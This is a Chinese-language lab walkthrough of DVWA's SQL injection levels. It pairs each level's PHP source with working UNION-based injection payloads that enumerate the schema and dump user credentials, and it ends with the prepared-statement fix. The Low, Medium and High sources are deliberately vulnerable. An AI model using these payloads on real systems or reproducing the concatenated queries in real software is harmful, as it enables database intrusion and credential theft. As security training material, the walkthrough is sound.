SQL Injection

SQL 注入

Low

源码解析

使用 $_REQUEST 直接读取用户输入数据,未进行检查和过滤就拼接到 SQL 查询语句中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

漏洞利用

判断类型

以下输入查询成功,说明存在字符型 SQL 注入漏洞,因为输入后的形成的语句为 SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2' 逻辑上没有错误,因此查询成功返回;

若为数字型,则语句为 SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2,逻辑错误,查询失败。

1
1 and 1=2

推测 SQL 查询的字段数及顺序

利用注释符号 #-- 和逻辑语句 1=1 获得所有用户的 First name 和 Surname ;

1
2
1' or 1=1#
1' or 1=1--

使用 order by 推测查询的字段数,按照第 3 个字段排序时失败,说明只有 2 个字段;

1
2
3
1' or 1=1 order by 1#
1' or 1=1 order by 2#
1' or 1=1 order by 3#

联合查询判断字段的顺序,从反馈的结果来看,查询时字段的顺序为 First name 、 Surname 。

1
1' union select 1,2#

数据库信息

获取数据库的版本信息;

1
1' union select 1,version()#

获取当前数据库信息。

1
1' union select 1,database()#

数据表信息

查询 dvwa 数据库的数据表信息,有 guestbook、users 共 2 张表;

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

查询 users 数据表中的字段;

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

查询数据表的特定列,密码类似于 md5 散列值,解密后得到 admin 的密码为 password。

1
1' union select user,password from users#

参阅

Medium

源码解析

改用 $_POST 读取用户输入数据,使用 mysqli_real_escape_string 过滤 SQL 语句中的特殊字符,没有进一步检查和过滤,直接拼接到 SQL 查询语句中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

漏洞利用

打开浏览器的开发者工具,可以看到是通过 POST 提交;

使用 Burp Suite 抓包,修改提交的参数;

判断类型

修改参数,返回所有数据,说明是数字型 SQL 注入漏洞,如果是字符型得使用 1' and 1=1

1
1 and 1=1

推测 SQL 查询的字段数及顺序

利用注释符号 #-- 和逻辑语句 1=1 获得所有用户的 First name 和 Surname ;

1
2
1 or 1=1#
1 or 1=1--

使用 order by 推测查询的字段数,按照第 3 个字段排序时失败,说明只有 2 个字段;

1
2
3
1 or 1=1 order by 1#
1 or 1=1 order by 2#
1 or 1=1 order by 3#

联合查询判断字段的顺序,从反馈的结果来看,查询时字段的顺序为 First name 、 Surname 。

1
1 union select 1,2#

数据库信息

获取数据库的版本信息;

1
1 union select 1,version()#

获取当前数据库信息。

1
1 union select 1,database()#

数据表信息

由于单引号 ' 被过滤,因此直接查询 'dvwa' 返回错误,改用 database() 即可,返回 dvwa 数据库的数据表信息,有 guestbook、users 共 2 张表。

1
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

参阅

High

源码解析

$_SESSION 中获得数据,去掉了 mysqli_real_escape_string,即不过滤特殊字符,直接拼接到 SQL 语句中,同时查询时增加了 LIMIT 1 的限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

漏洞利用

点击后出现新页面,打开浏览器的开发者工具,可以看到还是通过 POST 提交;

使用 1' or 1=1# 测试成功,注入方法和 Low 级别相同。

参阅

Impossioble

源码解析

使用 $_GET 读取用户输入数据,添加 Anti-CSRF Token 来避免 CSRF 攻击;使用 is_numeric 检查输入数据是否为数字,并使用预处理的 SQL 语句进行查询,查询结果只有一条时才进行输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

参阅